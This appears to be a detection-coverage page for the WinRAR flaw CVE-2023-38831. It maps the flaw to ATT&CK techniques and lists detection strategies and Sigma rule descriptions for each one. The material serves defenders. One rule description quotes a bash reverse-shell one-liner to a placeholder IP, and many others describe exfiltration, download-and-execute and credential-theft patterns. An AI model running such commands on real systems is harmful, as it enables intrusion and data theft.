Coverage › CVE-2023-38831
CVE-2023-38831 Mapped Sigma
RARLAB WinRAR Code Execution Vulnerability
- Vendor / product
- RARLAB — WinRAR
- Description (CISA)
- RARLAB WinRAR contains an unspecified vulnerability that allows an attacker to execute code when a user attempts to view a benign file within a ZIP archive.
- Added to KEV
- 2023-08-24
- Due date
- 2023-09-14
- Required action
- Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
- Known ransomware use
- Known
- CWE
- CWE-351
- CISA notes
- http://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=232&cHash=c5bf79590657e32554c6683296a8e8aa
https://nvd.nist.gov/vuln/detail/CVE-2023-38831 - Elsewhere
- cve.org · NVD · CISA KEV · JSON
ATT&CK techniques · CTID Mappings Explorer, ATT&CK 16.1, KEV snapshot 2025-07-28
8 mapping objects across 8 techniques. exploitation technique states how the vulnerability is exploited; primary and secondary impact state what exploitation achieves. They are different claims and are labelled as such.
| Technique | Mapping type | CTID comment | Status in v19.2 |
|---|---|---|---|
| T1204 User Execution | exploitation technique | CVE-2023-38831 is a vulnerability within the crafred archive process of WinRAR that occurs when a user attempts to open a seemingly legitimate document within a compromised archive, the vulnerability allows the attacker to execute arbitrary code on the system via a specially prepared archive. There have been public reports on the FROZENLAKE spear-phishing campaign, FROZENBARENTS, and ISLANDDREAMS leveraging this vulnerability. ref 1 · ref 2 · ref 3 · ref 4 |
live |
| T1005 Data from Local System | secondary impact | CVE-2023-38831 is a vulnerability within the crafred archive process of WinRAR that occurs when a user attempts to open a seemingly legitimate document within a compromised archive, the vulnerability allows the attacker to execute arbitrary code on the system via a specially prepared archive. There have been public reports on the FROZENLAKE spear-phishing campaign, FROZENBARENTS, and ISLANDDREAMS leveraging this vulnerability. ref 1 · ref 2 · ref 3 · ref 4 |
live |
| T1041 Exfiltration Over C2 Channel | secondary impact | CVE-2023-38831 is a vulnerability within the crafred archive process of WinRAR that occurs when a user attempts to open a seemingly legitimate document within a compromised archive, the vulnerability allows the attacker to execute arbitrary code on the system via a specially prepared archive. There have been public reports on the FROZENLAKE spear-phishing campaign, FROZENBARENTS, and ISLANDDREAMS leveraging this vulnerability. ref 1 · ref 2 · ref 3 · ref 4 |
live |
| T1053 Scheduled Task/Job | secondary impact | CVE-2023-38831 is a vulnerability within the crafred archive process of WinRAR that occurs when a user attempts to open a seemingly legitimate document within a compromised archive, the vulnerability allows the attacker to execute arbitrary code on the system via a specially prepared archive. There have been public reports on the FROZENLAKE spear-phishing campaign, FROZENBARENTS, and ISLANDDREAMS leveraging this vulnerability. ref 1 · ref 2 · ref 3 · ref 4 |
live |
| T1059.004 Unix Shell | primary impact | CVE-2023-38831 is a vulnerability within the crafred archive process of WinRAR that occurs when a user attempts to open a seemingly legitimate document within a compromised archive, the vulnerability allows the attacker to execute arbitrary code on the system via a specially prepared archive. There have been public reports on the FROZENLAKE spear-phishing campaign, FROZENBARENTS, and ISLANDDREAMS leveraging this vulnerability. ref 1 · ref 2 · ref 3 · ref 4 |
live |
| T1105 Ingress Tool Transfer | secondary impact | CVE-2023-38831 is a vulnerability within the crafred archive process of WinRAR that occurs when a user attempts to open a seemingly legitimate document within a compromised archive, the vulnerability allows the attacker to execute arbitrary code on the system via a specially prepared archive. There have been public reports on the FROZENLAKE spear-phishing campaign, FROZENBARENTS, and ISLANDDREAMS leveraging this vulnerability. ref 1 · ref 2 · ref 3 · ref 4 |
live |
| T1112 Modify Registry | secondary impact | CVE-2023-38831 is a vulnerability within the crafred archive process of WinRAR that occurs when a user attempts to open a seemingly legitimate document within a compromised archive, the vulnerability allows the attacker to execute arbitrary code on the system via a specially prepared archive. There have been public reports on the FROZENLAKE spear-phishing campaign, FROZENBARENTS, and ISLANDDREAMS leveraging this vulnerability. ref 1 · ref 2 · ref 3 · ref 4 |
live |
| T1486 Data Encrypted for Impact | secondary impact | CVE-2023-38831 is a vulnerability within the crafred archive process of WinRAR that occurs when a user attempts to open a seemingly legitimate document within a compromised archive, the vulnerability allows the attacker to execute arbitrary code on the system via a specially prepared archive. There have been public reports on the FROZENLAKE spear-phishing campaign, FROZENBARENTS, and ISLANDDREAMS leveraging this vulnerability. ref 1 · ref 2 · ref 3 · ref 4 |
live |
Detection chain · ATT&CK Enterprise v19.2 detection strategies, analytics, log sources
T1005 Data from Local System secondary impact
- DET0380 Detection of Local Data Collection Prior to Exfiltration
AN1070 WindowsAdversaries collecting local files via PowerShell, WMI, or direct file API calls often include recursive file listings, targeted file reads, and temporary file staging.Tunable:
TargetFilePathRegexParentProcessFilterAN1071 LinuxAdversaries using bash scripts or tools to recursively enumerate user home directories, config files, or SSH keys.Tunable:TimeWindowScriptToolNameAN1072 macOSAdversary use of bash/zsh or AppleScript to locate files and exfil targets like user keychains or documents.Tunable:UserContextTargetVolumeAN1073 Network DevicesCollection of device configuration via CLI commands (e.g.,show running-config,copy flash,more), often followed by TFTP/SCP transfers.Tunable:CommandScopeAuthenticatedUserListAN1074 ESXiAdversaries accessing datastore or configuration files viavim-cmd,esxcli, or SCP to extract logs, VMs, or host configurations.Tunable:AccessPathRegexInteractiveShellUsage
Sigma rules tagged attack.t1005 (14)
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2025-11-25 · logsource: product=windows category=process_creation · 0f60b28c-64dd-4e2c-9a63-5334d3e3a6e6
Detects a script interpreter process (like node.js or bun) spawning a known credential scanning tool (e.g., trufflehog, gitleaks).
This behavior is indicative of an attempt to find and steal secrets, as seen in the "Shai-Hulud: The Second Coming" campaign.
Author: Roberto Rodriguez @Cyb3rWard0g
· 2021-10-08 (modified 2023-11-30) · logsource: product=windows category=pipe_created · 1ea13e8c-03ea-409b-877d-ce5c3d2c1cb3
Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database).
Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.
Author: Security Onion Solutions
· 2024-03-08 · logsource: product=opencanary category=application · 22777c9e-873a-4b49-855f-6072ab861a52
Detects instances where an SMB service on an OpenCanary node has had a file open request.
Author: TropChaud
· 2022-12-19 (modified 2023-01-19) · logsource: product=windows category=process_creation · 24c77512-782b-448a-8950-eddb0785fc71
Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing.
Author: frack113
· 2021-08-16 (modified 2023-05-04) · logsource: product=windows category=process_creation · 2f47f1fd-0901-466e-a770-3b7092834a1b
Detects a command used by conti to dump database
Author: frack113
· 2022-04-08 (modified 2023-01-19) · logsource: product=windows category=process_creation · 4833155a-4053-4c9c-a997-777fcea0baa7
Detect usage of the "sqlite" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.
Author: Diogo Braz
· 2020-04-16 (modified 2022-10-05) · logsource: product=aws service=cloudtrail · 54b9a76a-3c71-4673-b4b3-2edb4566ea7b
An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.
Author: Nasreddine Bencherchali (Nextron Systems)
· 2023-05-04 · logsource: product=windows category=process_creation · 696bfb54-227e-4602-ac5b-30d9d2053312
Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information.
Author: frack113
· 2022-02-13 (modified 2024-03-05) · logsource: product=windows category=process_creation · 6a69f62d-ce75-4b57-8dce-6351eb55b362
One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe
Author: Jason Mull
· 2025-05-12 · logsource: product=windows service=system · 882fbe50-d8d7-4e29-ae80-0648a8556866
Detects "BugCheck" errors indicating the system rebooted due to a crash, capturing the bugcheck code, dump file path, and report ID.
Author: frack113
· 2021-12-20 (modified 2023-02-13) · logsource: product=windows category=process_creation · b57ba453-b384-4ab9-9f40-1038086b4e53
Detects dump of credentials in VeeamBackup dbo
Author: Austin Clark
· 2019-08-11 (modified 2023-01-04) · logsource: product=cisco service=aaa · cd072b25-a418-4f98-8ebc-5093fb38fe1a
Collect pertinent data from the configuration files
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2025-09-24 · logsource: product=linux category=process_creation · efd2eb09-b72e-4a61-8dc7-b1382a1e8983
Detects potential Shai Hulud NPM package attack attempting to exfiltrate data via curl to external webhook sites.
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2025-11-25 · logsource: product=linux category=process_creation · f0025a69-e1b7-4dda-a53c-db21fa2d4071
Detects a script interpreter process (like node.js or bun) spawning a known credential scanning tool (e.g., trufflehog, gitleaks).
This behavior is indicative of an attempt to find and steal secrets, as seen in the "Shai-Hulud: The Second Coming" campaign.
T1041 Exfiltration Over C2 Channel secondary impact
- DET0348 Detection Strategy for Exfiltration Over C2 Channel
AN0988 WindowsIdentifies suspicious outbound traffic volume mismatches from processes that typically do not generate network activity, particularly over C2 protocols like HTTPS, DNS, or custom TCP/UDP ports, following file or data access.Tunable:
DataVolumeThresholdKnownBenignProcessesAN0989 LinuxMonitors for processes reading sensitive files then immediately initiating unusual outbound connections or bulk transfer sessions over persistent sockets, particularly with encrypted or binary payloads.Tunable:OutboundEntropyScoreConnectionDurationAN0990 macOSDetects unauthorized applications or scripts accessing sensitive data followed by establishing encrypted outbound communication to rare external destinations or with abnormal byte ratios.Tunable:ParentProcessAncestryProtocolListAN0991 ESXiDetects VMs sending outbound traffic through non-standard services or to unknown destinations. Exfiltration over reverse shells tunneled via VMkernel or custom payloads routed via hostd/vpxa.Tunable:GuestOSAllowListTransferSizeThresholdMBProtocolAllowList
Sigma rules tagged attack.t1041 (5)
Author: Florian Roth (Nextron Systems)
· 2024-05-31 · logsource: product=windows category=network_connection · 07837ab9-60e1-481f-a74d-c31fb496a94c
Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors
Author: Florian Roth (Nextron Systems)
· 2017-04-15 (modified 2021-11-27) · logsource: category=firewall · 881834a4-6659-4773-821e-1c151789d873
Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools
Author: Security Onion Solutions
· 2024-03-08 · logsource: product=opencanary category=application · b4e6b016-a2ac-4759-ad85-8000b300d61e
Detects instances where a TFTP service on an OpenCanary node has had a request.
Author: Daniil Yugoslavskiy, oscd.community
· 2019-10-24 (modified 2024-01-18) · logsource: product=windows category=process_creation · c75309a3-59f8-4a8d-9c2c-4c927ad50555
Detects the execution of well known tools that can be abused for data exfiltration and tunneling.
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2025-09-24 · logsource: product=linux category=process_creation · efd2eb09-b72e-4a61-8dc7-b1382a1e8983
Detects potential Shai Hulud NPM package attack attempting to exfiltrate data via curl to external webhook sites.
T1053 Scheduled Task/Job secondary impact
- DET0094 Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse
AN0258 WindowsDetects creation or modification of scheduled tasks using schtasks.exe, at.exe, or COM objects followed by execution of outlier processes tied to the scheduled job.Tunable:
TaskAuthorCommandLineRegexExecutionWindowAN0259 LinuxDetects creation or modification of cron jobs via crontab, /etc/cron.* directories, or systemd timer units with execution by unusual users or non-standard intervals.Tunable:CronSchedulePatternServiceUserBinaryEntropyAN0260 macOSDetects creation or alteration of LaunchAgents or LaunchDaemons with corresponding plist modification followed by execution of associated binaries.Tunable:PlistLabelLaunchPathJobRunIntervalAN0261 ContainersDetects unusual use ofcronorsleeploops inside containers executing unfamiliar scripts or binaries repeatedly.containerd:runtimefile change monitoring within /etc/cron.*, /tmp, or mounted volumes→ DC0061 File ModificationTunable:ContainerLabelScriptFrequencyImageSourceAN0262 ESXiDetects modification of ESXi cron jobs, local.sh scripts, or scheduled API calls to persist custom binaries or shell scripts.Tunable:StartupScriptNameExecutionContextPersistenceInterval
Sigma rules tagged attack.t1053 (12)
Author: Thomas Patzke
· 2020-05-22 (modified 2023-11-06) · logsource: product=windows category=process_creation · 058f4380-962d-40a5-afce-50207d36d7e2
Detects various execution patterns of the CrackMapExec pentesting framework
Author: Sagie Dulce, Dekel Paz
· 2022-01-01 · logsource: product=rpc_firewall category=application · 0fcd1c79-4eeb-4746-aba9-1b458f7a79cb
Detects remote RPC calls to create or execute a scheduled task via ATSvc
Author: Florian Roth (Nextron Systems)
· 2022-09-15 (modified 2023-02-04) · logsource: product=windows category=process_creation · 26488ad0-f9fd-4536-876f-52fea846a2e4
Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms
Author: Florian Roth (Nextron Systems)
· 2022-02-25 (modified 2023-03-08) · logsource: product=windows category=process_creation · 42a993dd-bb3e-48c8-b372-4d6684c4106c
This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.
Author: Syed Hasan (@syedhasan009)
· 2021-06-18 (modified 2025-10-22) · logsource: product=windows category=registry_set · 4720b7df-40c3-48fd-bbdf-fd4b3c464f0d
Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious
Author: Austin Clark
· 2019-08-12 (modified 2025-04-28) · logsource: product=cisco service=aaa · 671ffc77-50a7-464f-9e3d-9ea2b493b26b
Modifications to a config that will serve an adversary's impacts or persistence
Author: Florian Roth (Nextron Systems)
· 2021-11-16 (modified 2022-01-12) · logsource: product=windows category=file_event · 80e1f67a-4596-4351-98f5-a9c3efabac95
Detects the creation of tasks from processes executed from suspicious locations
Author: Sagie Dulce, Dekel Paz
· 2022-01-01 · logsource: product=rpc_firewall category=application · ace3ff54-e7fd-46bd-8ea0-74b49a0aca1d
Detects remote RPC calls to create or execute a scheduled task
Author: Sagie Dulce, Dekel Paz
· 2022-01-01 · logsource: product=rpc_firewall category=application · aff229ab-f8cd-447b-b215-084d11e79eb0
Detects remote RPC calls to create or execute a scheduled task via SASec
Author: Florian Roth (Nextron Systems)
· 2021-03-09 (modified 2023-03-09) · logsource: product=windows category=process_creation · bbb2dedd-a0e3-46ab-ba6c-6c82ae7a9aa7
Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers
Author: Florian Roth (Nextron Systems), Bartlomiej Czyz (@bczyz1)
· 2019-03-04 (modified 2022-11-27) · logsource: product=windows service=security · c5a178bf-9cfb-4340-b584-e4df39b6a3e7
Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group
Author: Andreas Hunkeler (@Karneades)
· 2022-02-07 (modified 2023-03-18) · logsource: product=windows category=process_creation · e1118a8f-82f5-44b3-bb6b-8a284e5df602
Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.
T1059.004 Unix Shell primary impact
- DET0384 Behavioral Detection of Unix Shell Execution
AN1081 LinuxDetects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.Tunable:
ExecutableNameUserContextParentProcessTimeWindowCommandLinePatternAN1082 macOSIdentifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.Tunable:ScriptLocationParentProcessUserRoleAN1083 ESXiDetects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.Tunable:UserContextCommandPatternShellPathAN1084 Network DevicesDetects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.Tunable:InterfaceCommandString
Sigma rules tagged attack.t1059.004 (18)
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2026-04-01 · logsource: product=linux category=process_creation · 0a23a62d-c5b3-468b-a072-25064a9a8c87
Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3.
On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper.
The dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection.
Author: @kostastsale
· 2025-11-22 · logsource: product=linux category=file_event · 11629c4d-0fe6-465b-be62-b39a1c442aad
Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell.
This is a hunting rule to identify potential threats that use long filenames to evade detection. Keep in mind that on a legitimate system, such long filenames can and are common. Run this detection in the context of threat hunting rather than alerting.
Adjust the threshold of filename length as needed based on your environment.
Author: Florian Roth (Nextron Systems)
· 2017-12-12 (modified 2022-10-05) · logsource: product=linux service=auditd · 1543ae20-cbdf-4ec1-8d12-7664d667a825
Detects relevant commands often related to malware or hacking activity
Author: @kostastsale
· 2025-11-22 · logsource: product=linux category=file_event · 179b3686-6271-4d87-807d-17d843a8af73
Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts.
These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.
Author: faloker
· 2020-02-12 (modified 2022-06-07) · logsource: product=aws service=cloudtrail · 1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df
Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.
Author: Florian Roth (Nextron Systems)
· 2017-08-21 (modified 2021-11-27) · logsource: product=linux · 2aa1440c-9ae9-4d92-84a7-a9e5f5e31695
Detects suspicious shell commands used in various exploit codes (see references)
Author: Florian Roth (Nextron Systems)
· 2017-04-09 (modified 2021-11-27) · logsource: product=linux · 41e5c73d-9983-4b69-bd03-e13b67e9623c
Detects suspicious shell commands used in various Equation Group scripts and tools
Author: Florian Roth (Nextron Systems)
· 2019-04-02 (modified 2021-11-27) · logsource: product=linux · 738d9bcf-6999-4fdb-b4ac-3033037db8ab
Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell
Author: Florian Roth (Nextron Systems)
· 2021-10-16 (modified 2022-12-25) · logsource: product=linux category=network_connection · 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Author: Florian Roth (Nextron Systems)
· 2017-08-24 (modified 2025-11-22) · logsource: product=linux · 8ec2c8b4-557a-4121-b87c-5dfb3a602fae
Detects suspicious command sequence that JexBoss
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2026-04-01 · logsource: product=macos category=process_creation · a09ee860-31b3-4586-8a68-0ebd74ce0e5f
Detects the macOS-specific execution chain of the plain-crypto-js malicious npm dependency in Axios NPM Package, including AppleScript execution via osascript, payload download, permission modification, execution, and cleanup.
Author: Aayush Gupta
· 2025-06-17 · logsource: product=linux category=process_creation · a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa
Detects suspicious use of command-line tools such as curl or wget to download remote
content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by
immediate execution, indicating potential malicious activity. This pattern is commonly used
by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.
Author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
· 2024-09-02 (modified 2026-01-08) · logsource: product=linux category=process_creation · bed978f8-7f3a-432b-82c5-9286a9b3031a
Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.
Author: Christopher Peacock @SecurePeacock, SCYTHE @scythe_io
· 2022-06-06 · logsource: product=linux category=process_creation · e4ffe466-6ff8-48d4-94bd-e32d1a6061e2
Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments
Author: Florian Roth (Nextron Systems)
· 2022-03-14 · logsource: product=linux category=process_creation · ea3ecad2-db86-4a89-ad0b-132a10d2db55
Detects suspicious interactive bash as a parent to rather uncommon child processes
All 18 rules on the technique page →
T1105 Ingress Tool Transfer secondary impact
- DET0060 Detect Ingress Tool Transfers via Behavioral Chain
AN0165 WindowsUnusual or uncommon processes initiate network connections to external destinations followed by file creation (tools downloaded).Tunable:
ParentProcessNameDestinationIPCategoryFilePathRegexAN0166 LinuxShell-based tools (curl, wget, scp) initiate connections to external domains followed by creation of executable files on disk.Tunable:ToolNameDownloadExtensionAN0167 macOSProcess execution of curl or wget followed by a network connection and a file created in temporary or user-specific directories.Tunable:DirectoryTargetedProcessPathAN0168 ESXiCommand line interface or vCLI triggers remote transfer using wget or curl, writing files into datastore paths or local tmp directories.Tunable:ToolNameDatastorePathAN0169 Network DevicesNetwork device logs show anomalous inbound file transfers or uncharacteristic flows with high payload volume to network devices with storage or automation hooks.Tunable:PayloadVolumeThresholdProtocolUsed
Sigma rules tagged attack.t1105 (87)
Author: Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)
· 2022-09-15 (modified 2023-05-02) · logsource: product=linux category=process_creation · 00b90cc1-17ec-402c-96ad-3a8117d7a582
Detects a suspicious curl process start the adds a file to a web request
Author: Florian Roth (Nextron Systems), Cedric MAURUGEON (Update)
· 2020-07-03 (modified 2023-05-02) · logsource: product=windows category=process_creation · 00bca14a-df4e-4649-9054-3f2aa676bc04
Detects the execution of the "curl" process with "upload" flags. Which might indicate potential data exfiltration
Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
· 2021-12-27 (modified 2022-08-02) · logsource: product=windows category=process_creation · 00d49ed5-4491-4271-a8db-650a4ef6f8c1
Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents
Author: frack113
· 2022-12-25 · logsource: product=windows category=process_creation · 02b64f1b-3f33-4e67-aede-ef3b0a5a8fcf
Detects usage of COM objects that can be abused to download files in PowerShell by CLSID
Author: Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali (Nextron Systems)
· 2020-10-05 (modified 2024-03-05) · logsource: product=windows category=process_creation · 04936b66-3915-43ad-a8e5-809eadfd1141
Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2025-06-13 · logsource: product=windows category=image_load · 04fc4b22-91a6-495a-879d-0144fec5ec03
Detects potential exploitation of remote code execution vulnerability CVE-2025-33053
by monitoring suspicious image loads from WebDAV paths. The exploit involves malicious executables from
attacker-controlled WebDAV servers loading the Windows system DLLs like gdi32.dll, netapi32.dll, etc.
Author: frack113
· 2022-08-28 (modified 2024-05-31) · logsource: product=windows category=network_connection · 08249dc0-a28d-4555-8ba5-9255a198e08c
Detects a script interpreter (Wscript/Cscript) initiating a local network connection to download or execute a script hosted on a shared folder.
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2026-04-01 · logsource: product=linux category=process_creation · 0a23a62d-c5b3-468b-a072-25064a9a8c87
Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3.
On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper.
The dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection.
Author: frack113, Florian Roth (Nextron Systems)
· 2022-09-02 (modified 2024-05-31) · logsource: product=windows category=network_connection · 0dba975d-a193-4ed1-a067-424df57570d1
Detects a network connection initiated by the certutil.exe utility.
Attackers can abuse the utility in order to download malware or additional payloads.
Author: Sreeman, Florian Roth (Nextron Systems)
· 2022-01-04 (modified 2025-10-07) · logsource: product=windows category=process_creation · 0e8cfe08-02c9-4815-a2f8-0d157b7ed33e
Detects execution of chromium based browser in headless mode using the "dump-dom" command line to download files
Author: Florian Roth (Nextron Systems), Hieu Tran
· 2023-03-13 (modified 2025-07-18) · logsource: product=windows category=process_creation · 0f0450f3-8b47-441e-a31b-15a91dc243e2
Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest or Invoke-RestMethod cmdlets.
Author: Sohan G (D4rkCiph3r), Red Canary (idea)
· 2023-08-22 · logsource: product=macos category=process_creation · 13db8d2e-7723-4c2c-93c1-a4d36994f7ef
Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware
Author: Nasreddine Bencherchali (Nextron Systems)
· 2023-02-15 (modified 2025-12-01) · logsource: product=windows category=process_creation · 13e6fe51-d478-4c7e-b0f2-6da9b400a829
Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs.
Author: frack113
· 2021-11-26 (modified 2022-08-13) · logsource: product=windows category=process_creation · 185d7418-f250-42d0-b72e-0c8b70661e93
Download and compress a remote file and store it in a cab file on local machine.
Author: Florian Roth (Nextron Systems)
· 2017-11-08 (modified 2023-05-18) · logsource: category=proxy · 195c1119-ef07-4909-bb12-e66f5e07bf3c
Detects download of certain file types from hosts with dynamic DNS names (selected list)
All 87 rules on the technique page →
T1112 Modify Registry secondary impact
- DET0280 Behavior-Based Registry Modification Detection on Windows
AN0781 WindowsBehavior chain involving abnormal registry modifications via CLI, PowerShell, WMI, or direct API calls, especially targeting persistence, privilege escalation, or defense evasion keys, potentially followed by service restart or process execution. Such as editing Notify/Userinit/Startup keys, or disabling SafeDllSearchMode.Tunable:
RegistryKeyPathPatternsParentProcessAllowListTimeWindowSignatureCheck
Sigma rules tagged attack.t1112 (96)
Author: Austin Songer
· 2021-07-22 (modified 2023-08-17) · logsource: product=windows category=registry_set · 04b45a8a-d11d-49e4-9acc-4a1b524407a5
Detects when a user enables DNS-over-HTTPS.
This can be used to hide internet activity or be used to hide the process of exfiltrating data.
With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.
Author: Christian Burkard (Nextron Systems)
· 2021-10-19 (modified 2023-02-08) · logsource: product=windows category=registry_delete · 07bdd2f5-9c58-4f38-aec8-e101bb79ef8d
Detects the deletion of registry keys containing the MSTSC connection history
Author: Oddvar Moe, Sander Wiebing, oscd.community
· 2020-10-12 (modified 2024-03-13) · logsource: product=windows category=process_creation · 0b80ade5-6997-4b1d-99a1-71701778ea61
Detects the import of a alternate datastream to the registry with regedit.exe.
Author: frack113
· 2022-08-19 (modified 2023-08-17) · logsource: product=windows category=registry_set · 0c93308a-3f1b-40a9-b649-57ea1a1c1d63
Detect set Notification_Suppress to 1 to disable the Windows security center notification
Author: pH-T (Nextron Systems), @Kostastsale, TheDFIRReport
· 2022-02-12 (modified 2025-11-22) · logsource: product=windows category=process_creation · 0d5675be-bc88-4172-86d3-1e96a4476536
Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values
Author: Swachchhanda Shrawan Poudel
· 2024-07-31 · logsource: product=windows category=registry_set · 16a4c7b3-4681-49d0-8d58-3e9b796dcb43
Detects registry modifications related to the proxy configuration of the system, potentially associated with the Raspberry Robin malware, as seen in campaigns running in Q1 2024.
Raspberry Robin may alter proxy settings to circumvent security measures, ensuring unhindered connection with Command and Control servers for maintaining control over compromised systems if there are any proxy settings that are blocking connections.
Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
· 2020-07-14 (modified 2025-10-22) · logsource: product=windows service=security · 18beca67-ab3e-4ee3-ba7a-a46ca8d7d0cc
Potential threat actor tampering with Sysmon manifest and eventually disabling it
Author: Avneet Singh @v3t0_, oscd.community, Christopher Peacock @SecurePeacock (updated)
· 2020-10-18 (modified 2022-12-13) · logsource: product=windows category=process_creation · 198effb6-6c98-4d0c-9ea3-451fa143c45c
This rule detects the execution of Run Once task as configured in the registry
Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
· 2019-08-25 (modified 2021-11-27) · logsource: product=windows category=registry_event · 1a2d6c47-75b0-45bd-b133-2c0be75349fd
Detects potential malicious modification of the property value of IsCredGuardEnabled from
HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to disable Cred Guard on a system.
This is usually used with UseLogonCredential to manipulate the caching credentials.
Author: Swachchhanda Shrawan Poudel (Nextron Systems)
· 2025-04-09 · logsource: product=windows category=process_creation · 1a4bd6af-99ac-4466-b5b2-7b72b4a05462
Detects attempts to disable security event logging by adding the `MiniNt` registry key.
This key is used to disable the Windows Event Log service, which collects and stores event logs from the operating system and applications.
Adversaries may want to disable this service to prevent logging of security events that could be used to detect their activities.
Author: Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems)
· 2020-05-22 (modified 2023-08-17) · logsource: product=windows category=registry_set · 1a5c46e9-f32f-42f7-b2bc-6e9084db7fbf
Detects registry changes to Microsoft Office "AccessVBOM" to a value of "1" which disables trust access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings.
Author: frack113
· 2022-03-18 (modified 2023-08-17) · logsource: product=windows category=registry_set · 1c3121ed-041b-4d97-a075-07f54f20fb4a
Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)
Author: Hieu Tran
· 2023-03-13 · logsource: product=windows category=registry_event · 1c8e96cd-2bed-487d-9de0-b46c90cade56
Detects a registry key used by IceID in a campaign that distributes malicious OneNote files
Author: Christopher Peacock
· 2021-10-07 (modified 2025-11-03) · logsource: product=windows category=registry_add · 1d218616-71b0-4c40-855b-9dbe75510f7f
Detects registry keys related to NetWire RAT
Author: megan201296
· 2019-02-13 (modified 2025-10-22) · logsource: product=windows category=registry_add · 21f17060-b282-4249-ade0-589ea3591558
Detects registry keys related to Ursnif malware.
All 96 rules on the technique page →
T1204 User Execution exploitation technique
- DET0478 User Execution – multi-surface behavior chain (documents/links → helper/unpacker → LOLBIN/child → egress)
